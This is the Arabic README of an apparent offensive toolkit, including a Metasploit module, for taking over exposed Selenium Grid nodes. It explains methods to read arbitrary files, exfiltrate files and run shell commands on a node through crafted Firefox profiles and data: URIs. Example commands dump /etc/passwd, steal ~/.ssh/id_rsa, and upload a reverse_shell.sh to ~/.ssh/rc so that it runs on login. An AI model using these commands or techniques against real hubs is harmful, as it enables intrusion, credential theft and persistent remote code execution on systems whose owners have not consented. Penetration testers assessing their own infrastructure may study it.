
مجموعة من اختبارات Selenium قد تساعد في الاستيلاء على عقدة Selenium
تم نقل هذا المشروع. للحصول على أحدث إصدار، اسحب من https://codeberg.org/JonStratton/selenium-node-takeover-kit
يجمع هذا بين بعض الأمثلة أدناه لرفع الملفات إلى عقدة Selenium وتنزيل الملفات منها وتنفيذ التعليمات البرمجية عليها (عبر معامل "COMMAND_TYPE"). يعمل RCE حاليًا على لينكس فقط. للتثبيت، انسخ هذا إلى "~/.msf4/modules/exploits/multi/http/" أو أي مكان آخر.
يقوم هذا ببساطة بالتصفح إلى عنوان "file:" ويعرض محتويات الصفحة.
examples/selenium_node_cat.py -h http://selenium-hub.lan:4444/wd/hub -r /etc/passwdيستخدم هذا HTML مضمّنًا لإنشاء نموذج مضمّن يحتوي على حقل إدخال لرفع الملفات. ثم يرسل موقع ملف محلي إلى هذا النموذج. تقوم جافا سكريبت في هذا النموذج بتضمين هذا الملف المشفَّر بنظام base64 في الصفحة نفسها. ثم تتم قراءته وفك ترميزه بواسطة البرامج النصية وحفظه في ملف محلي.
examples/selenium_node_download.py -h http://selenium-hub.lan:4444/wd/hub -r ~/.ssh/id_rsa -l ./nodes_rsaمثل البرامج النصية لتنزيل الملفات من العقدة، ولكن دون الاهتمام بمعالجة الملف في جافا سكريبت. إذا لم يكن الملف موجودًا، فستُطلق دالة send_keys() في البرنامج النصي استثناءً.
لفايرفوكس فقط. يستخدم ملف تعريف فايرفوكس (وهو مجرد ملف zip مشفَّر بنظام base64 مضمّن في استدعاء API لـ Selenium) لإنشاء معالج مخصص ("application/sh" إلى /bin/sh في هذه الحالة). ثم يشفر بعض أوامر shell بنظام base64 ويستخدم "data:" مضمّنة لتمرير أوامر مرتبطة بـ "application/sh". بعد ذلك، سينشئ فايرفوكس ملفًا مؤقتًا بالأوامر وينفذه باستخدام sh.
لفايرفوكس فقط. يستخدم ملف تعريف فايرفوكس لتعيين دليل تنزيل مخصص وإيقاف تشغيل مطالبة "حفظ باسم". ثم ينتقل إلى HTML مضمّن مع رابط "data:" مضمّن وهو الملف المشفَّر المراد رفعه. ثم يتم النقر على هذا الرابط.
examples/selenium_node_upload.py -h http://selenium-hub.lan:4444/wd/hub -r ~/.ssh/rc -l ./reverse_shell.shلفايرفوكس فقط. يستخدم ملف تعريف فايرفوكس، الذي لا يتم فك ضغطه بأمان، لكتابة ملف إلى نظام ملفات العقدة.